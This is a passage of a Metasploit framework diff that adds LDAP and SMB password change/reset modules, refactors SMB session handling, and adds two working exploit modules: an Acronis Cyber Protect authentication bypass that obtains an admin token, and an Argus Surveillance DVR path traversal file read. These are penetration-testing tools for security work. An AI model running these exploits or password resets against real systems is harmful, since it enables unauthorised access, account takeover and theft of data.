+ end + end + pki_flag = obj['mspki-certificate-name-flag']&.first if pki_flag.present? pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L') @@ -477,10 +503,16 @@ def action_read if obj['pkimaxissuingdepth'].present? print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}") end + + if obj['showinadvancedviewonly'].present? + print_status(" showInAdvancedViewOnly: #{obj['showinadvancedviewonly'].first}") + end + + { object: obj, file: stored } end def action_update - obj = get_certificate_template + obj, = get_certificate_template new_configuration = load_local_template operations = [] @@ -492,6 +524,8 @@ def action_update unless value.tally == new_value.tally operations << [:replace, attribute, new_value] end + elsif attribute == 'ntsecuritydescriptor' + # the security descriptor can't be deleted so leave it alone unless specified else operations << [:delete, attribute, nil] end @@ -506,10 +540,11 @@ def action_update if operations.empty? print_good('There are no changes to be made.') - return + return true end @ldap.modify(dn: obj['dn'].first, operations: operations, controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]) validate_query_result!(@ldap.get_operation_result.table) + true end end diff --git a/modules/auxiliary/admin/ldap/change_password.rb b/modules/auxiliary/admin/ldap/change_password.rb new file mode 100644 index 000000000000..57f6ae44e2f0 --- /dev/null +++ b/modules/auxiliary/admin/ldap/change_password.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::LDAP + include Msf::OptionalSession::LDAP + + ATTRIBUTE = 'unicodePwd'.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Change Password', + 'Description' => %q{ + This module allows Active Directory users to change their own passwords, or reset passwords for + accounts they have privileges over. + }, + 'Author' => [ + 'smashery' # module author + ], + 'References' => [ + ['URL', 'https://github.com/fortra/impacket/blob/master/examples/changepasswd.py'], + ['URL', 'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/6e803168-f140-4d23-b2d3-c3a8ab5917d2'], + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + ['RESET', { 'Description' => "Reset a target user's password, having permissions over their account" }], + ['CHANGE', { 'Description' => "Change the user's password, knowing the existing password" }] + ], + 'DefaultAction' => 'RESET', + 'Notes' => { + 'Stability' => [], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Reliability' => [] + } + ) + ) + + register_options([ + OptString.new('TARGET_USER', [false, 'The user to reset the password of.'], conditions: ['ACTION', 'in', %w[RESET]]), + OptString.new('NEW_PASSWORD', [ true, 'The new password to set for the user' ]) + ]) + end + + def fail_with_ldap_error(message) + ldap_result = @ldap.get_operation_result.table + return if ldap_result[:code] == 0 + + print_error(message) + if ldap_result[:code] == 19 + extra_error = '' + if action.name == 'CHANGE' && !datastore['SESSION'].blank? + # If you're already in a session, you could provide the wrong password, and you get this error + extra_error = ' or incorrect current password' + end + + error = "The password changed failed, likely due to a password policy violation (e.g. not sufficiently complex, matching previous password, or changing the password too often)#{extra_error}" + fail_with(Failure::NotFound, error) + else + validate_query_result!(ldap_result) + end + end + + def ldap_get(filter, attributes: []) + raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes)&.first + return nil unless raw_obj + + obj = {} + + obj['dn'] = raw_obj['dn'].first.to_s + unless raw_obj['sAMAccountName'].empty? + obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s + end + + obj + end + + def run + if action.name == 'CHANGE' + fail_with(Failure::BadConfig, 'Must set USERNAME when changing password') if datastore['USERNAME'].blank? + fail_with(Failure::BadConfig, 'Must set PASSWORD when changing password') if datastore['PASSWORD'].blank? + elsif action.name == 'RESET' + fail_with(Failure::BadConfig, 'Must set TARGET_USER when resetting password') if datastore['TARGET_USER'].blank? + end + if session.blank? && datastore['USERNAME'].blank? && datastore['LDAP::Auth'] != Msf::Exploit::Remote::AuthOption::SCHANNEL + print_warning('Connecting with an anonymous bind') + end + ldap_connect do |ldap| + validate_bind_success!(ldap) + + if (@base_dn = datastore['BASE_DN']) + print_status("User-specified base DN: #{@base_dn}") + else + print_status('Discovering base DN automatically') + + if (@base_dn = ldap.base_dn) + print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}") + else + fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") + end + end + @ldap = ldap + + begin + send("action_#{action.name.downcase}") + rescue ::IOError => e + fail_with(Failure::UnexpectedReply, e.message) + end + end + rescue Errno::ECONNRESET + fail_with(Failure::Disconnected, 'The connection was reset.') + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e + fail_with(Failure::NoAccess, e.message) + rescue Rex::Proto::LDAP::LdapException => e + fail_with(Failure::NoAccess, e.message) + rescue Net::LDAP::Error => e + fail_with(Failure::Unknown, "#{e.class}: #{e.message}") + end + + def get_user_obj(username) + obj = ldap_get("(sAMAccountName=#{ldap_escape_filter(username)})", attributes: ['sAMAccountName']) + fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{username}") unless obj + + obj + end + + def action_reset + target_user = datastore['TARGET_USER'] + obj = get_user_obj(target_user) + + new_pass = "\"#{datastore['NEW_PASSWORD']}\"".encode('utf-16le').bytes.pack('c*') + unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, new_pass) + fail_with_ldap_error("Failed to reset the password for #{datastore['TARGET_USER']}.") + end + print_good("Successfully reset password for #{datastore['TARGET_USER']}.") + end + + def action_change + obj = get_user_obj(datastore['USERNAME']) + + new_pass = "\"#{datastore['NEW_PASSWORD']}\"".encode('utf-16le').bytes.pack('c*') + old_pass = "\"#{datastore['PASSWORD']}\"".encode('utf-16le').bytes.pack('c*') + unless @ldap.modify(dn: obj['dn'], operations: [[:delete, ATTRIBUTE, old_pass], [:add, ATTRIBUTE, new_pass]]) + fail_with_ldap_error("Failed to reset the password for #{datastore['USERNAME']}.") + end + print_good("Successfully changed password for #{datastore['USERNAME']}.") + end +end diff --git a/modules/auxiliary/admin/registry_security_descriptor.rb b/modules/auxiliary/admin/registry_security_descriptor.rb index bd1a1cb7974c..925f366449f1 100644 --- a/modules/auxiliary/admin/registry_security_descriptor.rb +++ b/modules/auxiliary/admin/registry_security_descriptor.rb @@ -71,8 +71,7 @@ def initialize(info = {}) def do_connect if session print_status("Using existing session #{session.sid}") - client = session.client - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) + self.simple = session.simple_client simple.connect("\\\\#{simple.address}\\IPC$") else connect diff --git a/modules/auxiliary/admin/smb/change_password.rb b/modules/auxiliary/admin/smb/change_password.rb new file mode 100644 index 000000000000..b52b002f44aa --- /dev/null +++ b/modules/auxiliary/admin/smb/change_password.rb @@ -0,0 +1,292 @@ +## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework +## + +require 'ruby_smb/dcerpc/client' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated + include Msf::Auxiliary::Report + include Msf::OptionalSession::SMB + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'SMB Password Change', + 'Description' => %q{ + Change the password of an account using SMB. This provides several different + APIs, each of which have their respective benefits and drawbacks. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'smashery' + ], + 'References' => [ + ['URL', 'https://github.com/fortra/impacket/blob/master/examples/changepasswd.py'], + ], + 'Notes' => { + 'Reliability' => [], + 'Stability' => [], + 'SideEffects' => [ IOC_IN_LOGS ] + }, + 'Actions' => [ + [ 'RESET', { 'Description' => "Reset the target's password without knowing the existing one (requires appropriate permissions). New AES kerberos keys will be generated." } ], + [ 'RESET_NTLM', { 'Description' => "Reset the target's NTLM hash, without knowing the existing password. AES kerberos authentication will not work until a standard password change occurs." } ], + [ 'CHANGE', { 'Description' => 'Change the password, knowing the existing one. New AES kerberos keys will be generated.' } ], + [ 'CHANGE_NTLM', { 'Description' => 'Change the password to a NTLM hash value, knowing the existing password. AES kerberos authentication will not work until a standard password change occurs.' } ] + ], + 'DefaultAction' => 'RESET' + ) + ) + + register_options( + [ + OptString.new('NEW_PASSWORD', [false, 'The new password to change to', ''], conditions: ['ACTION', 'in', %w[CHANGE RESET]]), + OptString.new('NEW_NTLM', [false, 'The new NTLM hash to change to. Can be either an NT hash or a colon-delimited NTLM hash'], conditions: ['ACTION', 'in', %w[CHANGE_NTLM RESET_NTLM]], regex: /^([0-9a-fA-F]{32}:)?[0-9a-fA-F]{32}$/), + OptString.new('TARGET_USER', [false, 'The user to reset the password of.'], conditions: ['ACTION', 'in', %w[RESET RESET_NTLM]]) + ] + ) + end + + def connect_samr + vprint_status('Connecting to Security Account Manager (SAM) Remote Protocol') + @samr = @tree.open_file(filename: 'samr', write: true, read: true) + + vprint_status('Binding to \\samr...') + @samr.bind(endpoint: RubySMB::Dcerpc::Samr) + vprint_good('Bound to \\samr') + end + + def run + case action.name + when 'CHANGE' + run_change + when 'RESET' + run_reset + when 'RESET_NTLM' + run_reset_ntlm + when 'CHANGE_NTLM' + run_change_ntlm + end + rescue RubySMB::Error::RubySMBError => e + fail_with(Module::Failure::UnexpectedReply, "[#{e.class}] #{e}") + rescue Rex::ConnectionError => e + fail_with(Module::Failure::Unreachable, "[#{e.class}] #{e}") + rescue Msf::Exploit::Remote::MsSamr::MsSamrError => e + fail_with(Module::Failure::BadConfig, "[#{e.class}] #{e}") + rescue ::StandardError => e + raise e + ensure + @samr.close_handle(@domain_handle) if @domain_handle + @samr.close_handle(@server_handle) if @server_handle + @samr.close if @samr + @tree.disconnect! if @tree + + # Don't disconnect the client if it's coming from the session so it can be reused + unless session + simple.client.disconnect! if simple&.client.is_a?(RubySMB::Client) + disconnect + end + end + + def authenticate(anonymous_on_expired: false) + if session + print_status("Using existing session #{session.sid}") + self.simple = session.simple_client + simple.connect("\\\\#{simple.address}\\IPC$") # smb_login connects to this share for some reason and it doesn't work unless we do too + else + connect + begin + begin + smb_login + rescue Rex::Proto::SMB::Exceptions::LoginError => e + if (e.source.is_a?(Rex::Proto::Kerberos::Model::Error::KerberosError) && [Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_KEY_EXPIRED].include?(e.source.error_code) || + e.source.is_a?(::WindowsError::ErrorCode) && [::WindowsError::NTStatus::STATUS_PASSWORD_EXPIRED, ::WindowsError::NTStatus::STATUS_PASSWORD_MUST_CHANGE].include?(e.source)) + if anonymous_on_expired + # Password has expired - we'll need to anonymous connect + print_warning('Password expired - binding anonymously') + opts = { + username: '', + password: '', + domain: '', + auth_protocol: Msf::Exploit::Remote::AuthOption::NTLM + } + disconnect + connect + smb_login(opts: opts) + elsif action.name == 'CHANGE_NTLM' + fail_with(Module::Failure::UnexpectedReply, 'Must change password first. Try using the CHANGE action instead') + else + raise + end + else + raise + end + end + rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e + fail_with(Module::Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).") + end + end + + report_service( + host: simple.address, + port: simple.port, + host_name: simple.client.default_name, + proto: 'tcp', + name: 'smb', + info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})" + ) + + begin + @tree = simple.client.tree_connect("\\\\#{simple.address}\\IPC$") + rescue RubySMB::Error::RubySMBError => e + fail_with(Module::Failure::Unreachable, + "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).") + end + + connect_samr + end + + def parse_ntlm_from_config + new_ntlm = datastore['NEW_NTLM'] + fail_with(Msf::Exploit::Failure::BadConfig, 'Must provide NEW_NTLM value') if new_ntlm.blank? + case new_ntlm.count(':') + when 0 + new_nt = new_ntlm + new_lm = nil + when 1 + new_lm, new_nt = new_ntlm.split(':') + else + fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid value for NEW_NTLM') + end + + new_nt = Rex::Text.hex_to_raw(new_nt) + new_lm = Rex::Text.hex_to_raw(new_lm) unless new_lm.nil? + fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid NT hash value in NEW_NTLM') unless new_nt.length == 16 + fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid LM hash value in NEW_NTLM') unless new_lm.nil? || new_nt.length == 16 + + [new_nt, new_lm] + end + + def get_user_handle(domain, username) + vprint_status("Opening handle for #{domain}\\#{username}") + @server_handle = @samr.samr_connect + domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: domain) + @domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: domain_sid) + user_rids = @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [username]) + fail_with(Module::Failure::BadConfig, "Could not find #{domain}\\#{username}") if user_rids.nil? + rid = user_rids[username][:rid] + + @samr.samr_open_user(domain_handle: @domain_handle, user_id: rid) + rescue RubySMB::Dcerpc::Error::SamrError => e + fail_with(Msf::Exploit::Failure::BadConfig, e.to_s) + end + + def run_change_ntlm + fail_with(Module::Failure::BadConfig, 'Must set NEW_NTLM') if datastore['NEW_NTLM'].blank? + fail_with(Module::Failure::BadConfig, 'Must set SMBUser to change password') if datastore['SMBUser'].blank? + fail_with(Module::Failure::BadConfig, 'Must set SMBPass to change password, or use RESET/RESET_NTLM to force-change a password without knowing the existing password') if datastore['SMBPass'].blank? + new_nt, new_lm = parse_ntlm_from_config + print_status('Changing NTLM') + authenticate(anonymous_on_expired: false) + + user_handle = get_user_handle(datastore['SMBDomain'], datastore['SMBUser']) + + if Net::NTLM.is_ntlm_hash?(Net::NTLM::EncodeUtil.encode_utf16le(datastore['SMBPass'])) + old_lm, old_nt = datastore['SMBPass'].split(':') + old_lm = [old_lm].pack('H*') + old_nt = [old_nt].pack('H*') + + @samr.samr_change_password_user(user_handle: user_handle, + new_nt_hash: new_nt, + new_lm_hash: new_lm, + old_nt_hash: old_nt, + old_lm_hash: old_lm) + else + @samr.samr_change_password_user(user_handle: user_handle, + old_password: datastore['SMBPass'], + new_nt_hash: new_nt, + new_lm_hash: new_lm) + end + + print_good("Successfully changed password for #{datastore['SMBUser']}") + print_warning('AES Kerberos keys will not be available until user changes their password') + end + + def run_reset_ntlm + fail_with(Module::Failure::BadConfig, "Must set TARGET_USER, or use CHANGE/CHANGE_NTLM to reset this user's own password") if datastore['TARGET_USER'].blank? + new_nt, = parse_ntlm_from_config + print_status('Resetting NTLM') + authenticate(anonymous_on_expired: false) + + user_handle = get_user_handle(datastore['SMBDomain'], datastore['TARGET_USER']) + + user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new( + tag: RubySMB::Dcerpc::Samr::USER_INTERNAL1_INFORMATION, + member: RubySMB::Dcerpc::Samr::SamprUserInternal1Information.new( + encrypted_nt_owf_password: RubySMB::Dcerpc::Samr::EncryptedNtOwfPassword.new(buffer: RubySMB::Dcerpc::Samr::EncryptedNtOwfPassword.encrypt_hash(hash: new_nt, key: simple.client.application_key)), + encrypted_lm_owf_password: nil, + nt_password_present: 1, + lm_password_present: 0, + password_expired: 0 + ) + ) + @samr.samr_set_information_user2( + user_handle: user_handle, + user_info: user_info + ) + + print_good("Successfully reset password for #{datastore['TARGET_USER']}") + print_warning('AES Kerberos keys will not be available until user changes their password') + end + + def run_reset + fail_with(Module::Failure::BadConfig, "Must set TARGET_USER, or use CHANGE/CHANGE_NTLM to reset this user's own password") if datastore['TARGET_USER'].blank? + fail_with(Module::Failure::BadConfig, 'Must set NEW_PASSWORD') if datastore['NEW_PASSWORD'].blank? + print_status('Resetting password') + authenticate(anonymous_on_expired: false) + + user_handle = get_user_handle(datastore['SMBDomain'], datastore['TARGET_USER']) + + user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new( + tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW, + member: RubySMB::Dcerpc::Samr::SamprUserInternal4InformationNew.new( + i1: { + password_expired: 0, + which_fields: RubySMB::Dcerpc::Samr::USER_ALL_NTPASSWORDPRESENT | RubySMB::Dcerpc::Samr::USER_ALL_PASSWORDEXPIRED + }, + user_password: { + buffer: RubySMB::Dcerpc::Samr::SamprEncryptedUserPasswordNew.encrypt_password( + datastore['NEW_PASSWORD'], + simple.client.application_key + ) + } + ) + ) + @samr.samr_set_information_user2( + user_handle: user_handle, + user_info: user_info + ) + print_good("Successfully reset password for #{datastore['TARGET_USER']}") + end + + def run_change + fail_with(Module::Failure::BadConfig, 'Must set NEW_PASSWORD') if datastore['NEW_PASSWORD'].blank? + fail_with(Module::Failure::BadConfig, 'Must set SMBUser to change password') if datastore['SMBUser'].blank? + fail_with(Module::Failure::BadConfig, 'Must set SMBPass to change password, or use RESET/RESET_NTLM to force-change a password without knowing the existing password') if datastore['SMBPass'].blank? + print_status('Changing password') + authenticate(anonymous_on_expired: true) + + if Net::NTLM.is_ntlm_hash?(Net::NTLM::EncodeUtil.encode_utf16le(datastore['SMBPass'])) + old_lm, old_nt = datastore['SMBPass'].split(':') + old_lm = [old_lm].pack('H*') + old_nt = [old_nt].pack('H*') + @samr.samr_unicode_change_password_user2(target_username: datastore['SMBUser'], new_password: datastore['NEW_PASSWORD'], old_nt_hash: old_nt, old_lm_hash: old_lm) + else + @samr.samr_unicode_change_password_user2(target_username: datastore['SMBUser'], old_password: datastore['SMBPass'], new_password: datastore['NEW_PASSWORD']) + end + + print_good("Successfully changed password for #{datastore['SMBUser']}") + end +end diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index d1c564b68141..36169dc9bec0 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -42,8 +42,7 @@ def initialize def smb_delete_files if session print_status("Using existing session #{session.sid}") - client = session.client - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) + self.simple = session.simple_client else vprint_status("Connecting to the server...") connect() diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 7003ec8b3591..b47705f2afdf 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -38,8 +38,7 @@ def smb_download if session print_status("Using existing session #{session.sid}") - client = session.client - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) + self.simple = session.simple_client else connect smb_login() diff --git a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb index 4698746ebba6..a719b75a2aa0 100644 --- a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb +++ b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb @@ -57,8 +57,7 @@ def run # Try and connect if session print_status("Using existing session #{session.sid}") - client = session.client - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) + self.simple = session.simple_client @ip = simple.address else return unless connect diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb index b4fb88a6bbe2..b224d1223a9a 100644 --- a/modules/auxiliary/admin/smb/upload_file.rb +++ b/modules/auxiliary/admin/smb/upload_file.rb @@ -44,9 +44,7 @@ def run_host(_ip) begin if session print_status("Using existing session #{session.sid}") - client = session.client - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) - + self.simple = session.simple_client else vprint_status("Connecting to the server...") connect diff --git a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb new file mode 100644 index 000000000000..3d47e3a04ae9 --- /dev/null +++ b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb @@ -0,0 +1,183 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::AcronisCyber + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Acronis Cyber Protect/Backup machine info disclosure', + 'Description' => %q{ + Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, + compute, storage and application resources. Businesses and Service Providers are using it + to protect and backup all IT assets in their IT environment. + This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect + appliance which, in its default configuration, allows the anonymous registration of new + backup/protection agents on new endpoints. This API endpoint also generates bearer tokens + which the agent then uses to authenticate to the appliance. + As the management web console is running on the same port as the API for the agents, this + bearer token is also valid for any actions on the web console. This allows an attacker + with network access to the appliance to start the registration of a new agent, retrieve + a bearer token that provides admin access to the available functions in the web console. + + This module will gather all machine info (endpoints) configured and managed by the appliance. + This information can be used in a subsequent attack that exploits this vulnerability to + execute arbitrary commands on both the managed endpoint and the appliance. + This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`. + + Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and + Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + }, + 'Author' => [ + 'h00die-gr3y ', # Metasploit module + 'Sandro Tolksdorf of usd AG.' # discovery + ], + 'References' => [ + ['CVE', '2022-30995'], + ['CVE', '2022-3405'], + ['URL', 'https://herolab.usd.de/security-advisories/usd-2022-0008/'], + ['URL', 'https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'DefaultOptions' => { + 'RPORT' => 9877, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']), + OptEnum.new('OUTPUT', [true, 'Output format to use', 'table', ['table', 'json']]) + ] + ) + end + + def check + # initial check on api access + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'meta'), + 'ctype' => 'application/json' + }) + return Exploit::CheckCode::Unknown('No Acronis API access found!') unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') + + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("Extracted first access token: #{@access_token1}") + return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = SecureRandom.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id, @access_token1) + return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil? + + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("Extracted second access token: #{@access_token2}") + return Exploit::CheckCode::Unknown('Retrieval of the second access token failed.') if @access_token2.nil? + + # get version info + version = get_version_info(@access_token2) + return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil? + + release = version.match(/(.+)\.(\d+)/) + case release[1] + when '15.0' + if Rex::Version.new(version) < Rex::Version.new('15.0.29486') + return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") + else + return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + when '12.5' + if Rex::Version.new(version) < Rex::Version.new('12.5.16545') + return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") + else + return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + else + Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + end + + def run + # check if @access_token2 is already set as part of autocheck option + if @access_token2.nil? + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("Extracted first access token: #{@access_token1}") + fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = SecureRandom.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id, @access_token1) + fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("Extracted second access token: #{@access_token2}") + fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil? + end + + # report vulnerable instance + report_web_vuln( + web_site: normalize_uri(target_uri.path, 'api', 'ams', 'versions'), + host: datastore['RHOSTS'], + port: datastore['RPORT'], + ssl: datastore['SSL'], + method: 'POST', + proof: "Authorization: Bearer #{@access_token2}", + risk: 0, + confidence: 100, + category: 'admin token', + description: 'Administrator token providing full web application accesss.', + name: 'Acronis Cyber Protect/Backup administrator token' + ) + # get all the managed endpoint configuration info + print_status('Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.') + res_json = get_machine_info(@access_token2) + fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil? + + # print all the managed endpoint information to the console + if datastore['OUTPUT'] == 'table' + print_status('List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.') + res_json['data'].each do |item| + next unless item['type'] == 'machine' + + print_status('----------------------------------------') + print_good("hostId: #{item['hostId']}") unless item['hostId'].nil? + print_good("parentId: #{item['parentId']}") unless item['parentId'].nil? + print_good("key: #{item['id']}") unless item['id'].nil? + print_status("type: #{item['type']}") unless item['type'].nil? + print_status("hostname: #{item['title']}") unless item['title'].nil? + print_status("IP: #{item.dig('ip', 0)}") unless item.dig('ip', 0).nil? + print_status("OS: #{item['os']}") unless item['os'].nil? + print_status("ARCH: #{item['osType']}") unless item['osType'].nil? + print_status("ONLINE: #{item['online']}") unless item['online'].nil? + end + end + end +end diff --git a/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb b/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb new file mode 100644 index 000000000000..11f2401dafa5 --- /dev/null +++ b/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb @@ -0,0 +1,76 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Argus Surveillance DVR 4.0.0.0 - Directory Traversal', + 'Description' => %q{ + This module leverages an unauthenticated arbitrary file read for + the Argus Surveillance 4.0.0.0 system which never saw an update since. + As this is a Windows related application we recommend looking for common + Windows file locations, especially C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini + which houses another vulnerability in the Argus Surveillance system. This directory traversal vuln + is being tracked as CVE-2018-15745 + }, + 'Author' => [ + 'Maxwell Francis', # msf module + 'John Page' # (aka hyp3rlinx) PoC + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + }, + 'DefaultOptions' => { + 'SSL' => false, + 'RPORT' => 8080 + }, + 'References' => [ + # Vendor Download + [ 'URL', 'https://argus-surveillance-dvr.soft112.com/#google_vignette'], + # Exploit DB Listing + [ 'EDB', '45296'], + # CVE Number + ['CVE', '2018-15745'] + ] + ) + ) + + register_options( + [ + OptString.new('TARGET_FILE', [true, 'The file to retrieve', 'Windows/system.ini']) + ] + ) + end + + def run + traversal_path = '..%2F' * 16 + target_file = datastore['TARGET_FILE'].gsub(' ', '%20') + url_path = "/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=#{traversal_path}#{target_file}&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD=" + + print_status("Sending request to #{rhost}:#{rport} for file: #{target_file}") + + response = send_request_cgi({ + 'method' => 'GET', + 'uri' => url_path + }) + + if response&.code == 200 && !response.body.include?('Cannot find this file.') + print_good('File retrieved successfully!') + print_line(response.body) + store_loot('file_traversal', 'text/plain', rhost, response.body, "#{target_file.gsub('/', '_')}.txt") + elsif response + print_error('Failed to retrieve file.') # Response from server but file not returned + else + print_error('No response from target.') # No response from server + end + end +end diff --git a/modules/auxiliary/gather/kerberos_enumusers.rb b/modules/auxiliary/gather/kerberos_enumusers.rb index 2c06441e7649..fcb5e3a8afde 100644 --- a/modules/auxiliary/gather/kerberos_enumusers.rb +++ b/modules/auxiliary/gather/kerberos_enumusers.rb @@ -16,7 +16,8 @@ def initialize(info = {}) 'Name' => 'Kerberos Domain User Enumeration', 'Description' => %q{ This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilizes - the different responses returned by the service for valid and invalid users. + the different responses returned by the service for valid and invalid users. This module can also detect accounts + that are vulnerable to ASREPRoast attacks. }, 'Author' => [ 'Matt Byrne ', # Original Metasploit module diff --git a/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb b/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb index ce7ca7b05e53..74a95f9f605d 100644 --- a/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb +++ b/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb @@ -3,7 +3,9 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::LDAP include Msf::OptionalSession::LDAP + include Rex::Proto::MsDnsp include Rex::Proto::Secauthz + include Rex::Proto::LDAP ADS_GROUP_TYPE_BUILTIN_LOCAL_GROUP = 0x00000001 ADS_GROUP_TYPE_GLOBAL_GROUP = 0x00000002 @@ -15,13 +17,18 @@ class MetasploitModule < 